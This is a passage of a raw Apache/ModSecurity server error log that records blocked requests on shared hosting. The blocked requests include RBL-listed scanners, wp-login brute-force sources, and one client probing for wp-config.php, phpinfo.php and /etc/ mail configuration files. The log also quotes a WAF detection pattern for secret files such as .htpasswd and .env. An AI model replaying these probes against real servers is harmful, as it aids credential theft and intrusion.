https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:12:30.259696 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.45:54732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:30.260127 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.45:54732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:30.350066 2026] [security2:error] [pid 531797:tid 531917] [remote 17.246.23.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x7sTA7b1mZrmcA-82hgACQjU"] [Sat Jun 13 18:12:30.701564 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:12:30.701839 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:12:30.828162 2026] [security2:error] [pid 531797:tid 531926] [remote 20.153.140.50:39340] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.140.153.20.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "cityofmarional.com"] [uri "/wp-login.php"] [unique_id "ai3x7sTA7b1mZrmcA-82kwACUD4"] [Sat Jun 13 18:12:30.932964 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.9:60742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:30.933262 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.9:60742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:31.057082 2026] [security2:error] [pid 531797:tid 531880] [remote 17.22.237.44:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 44.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x78TA7b1mZrmcA-82mQACTxA"] [Sat Jun 13 18:12:31.206947 2026] [security2:error] [pid 531155:tid 531182] [remote 17.241.227.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x7ymiP80klyS0NnoEEgABhxo"] [Sat Jun 13 18:12:31.220589 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9kcml2ZXI= [Sat Jun 13 18:12:31.220881 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9kcml2ZXI= [Sat Jun 13 18:12:31.319455 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.100:32979] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:31.319761 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.100:32979] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:31.324816 2026] [security2:error] [pid 531797:tid 531897] [remote 81.100.195.0:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3x78TA7b1mZrmcA-82oAACcyE"], referer: https://www.torquayfans.com [Sat Jun 13 18:12:31.324838 2026] [security2:error] [pid 531797:tid 531897] [remote 81.100.195.0:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3x78TA7b1mZrmcA-82oAACcyE"], referer: https://www.torquayfans.com [Sat Jun 13 18:12:31.435405 2026] [security2:error] [pid 531797:tid 531927] [remote 17.246.23.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x78TA7b1mZrmcA-82qQACcj8"] [Sat Jun 13 18:12:31.440020 2026] [access_compat:error] [pid 531797:tid 531972] [remote 57.141.14.31:33306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:31.440466 2026] [access_compat:error] [pid 531797:tid 531972] [remote 57.141.14.31:33306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:31.745018 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:12:31.745464 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:12:31.957630 2026] [access_compat:error] [pid 531797:tid 531941] [remote 57.141.14.53:36142] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:31.957917 2026] [access_compat:error] [pid 531797:tid 531941] [remote 57.141.14.53:36142] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:32.002668 2026] [access_compat:error] [pid 531155:tid 531206] [remote 185.177.72.9:45824] AH01797: client denied by server configuration: /home3/bradgore/public_html/phpinfo.php [Sat Jun 13 18:12:32.087879 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.6:29318] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:32.088317 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.6:29318] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:32.226664 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.82:39824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:32.226978 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.82:39824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:32.258138 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvZHJpdmVyL3NlcmlvMS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:12:32.258579 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvZHJpdmVyL3NlcmlvMS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:12:32.554756 2026] [access_compat:error] [pid 531155:tid 531238] [remote 185.177.72.9:45824] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-config.php [Sat Jun 13 18:12:32.643109 2026] [access_compat:error] [pid 531797:tid 531887] [remote 216.73.216.182:63651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:32.643389 2026] [access_compat:error] [pid 531797:tid 531887] [remote 216.73.216.182:63651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:32.759812 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:32.760079 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:32.896496 2026] [security2:error] [pid 531797:tid 531866] [remote 17.246.23.110:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x8MTA7b1mZrmcA-824AACgQI"] [Sat Jun 13 18:12:32.898233 2026] [access_compat:error] [pid 531797:tid 531881] [remote 57.141.14.5:29765] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:32.898677 2026] [access_compat:error] [pid 531797:tid 531881] [remote 57.141.14.5:29765] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:33.278324 2026] [access_compat:error] [pid 531155:tid 531210] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:33.278599 2026] [access_compat:error] [pid 531155:tid 531210] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:33.297116 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.9:60750] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:33.297562 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.9:60750] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:33.299471 2026] [security2:error] [pid 531155:tid 531226] [remote 17.241.219.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x8SmiP80klyS0NnoEOgABOUY"] [Sat Jun 13 18:12:33.417105 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.60:35202] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:33.417551 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.60:35202] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:33.503455 2026] [security2:error] [pid 531155:tid 531230] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/mail/sendmail.cf"] [unique_id "ai3x8SmiP80klyS0NnoEPwABL0o"] [Sat Jun 13 18:12:33.624321 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.86:31392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:33.624687 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.86:31392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:33.641281 2026] [security2:error] [pid 531155:tid 531259] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/ssmtp/ssmtp.conf"] [unique_id "ai3x8SmiP80klyS0NnoEQgABf2c"] [Sat Jun 13 18:12:33.676832 2026] [security2:error] [pid 531797:tid 531918] [remote 20.153.140.50:39340] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.140.153.20.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "cityofmarional.com"] [uri "/wp-login.php"] [unique_id "ai3x8cTA7b1mZrmcA-82_gACdjY"], referer: https://cityofmarional.com/wp-login.php [Sat Jun 13 18:12:33.762387 2026] [security2:error] [pid 531155:tid 531282] [remote 144.76.119.9:22520] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.119.76.144.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "quieromifactura.biz"] [uri "/wp-login.php"] [unique_id "ai3x8SmiP80klyS0NnoERAABfn4"] [Sat Jun 13 18:12:33.777562 2026] [security2:error] [pid 531155:tid 531202] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/exim4/exim4.conf"] [unique_id "ai3x8SmiP80klyS0NnoERwABbC4"] [Sat Jun 13 18:12:33.794050 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 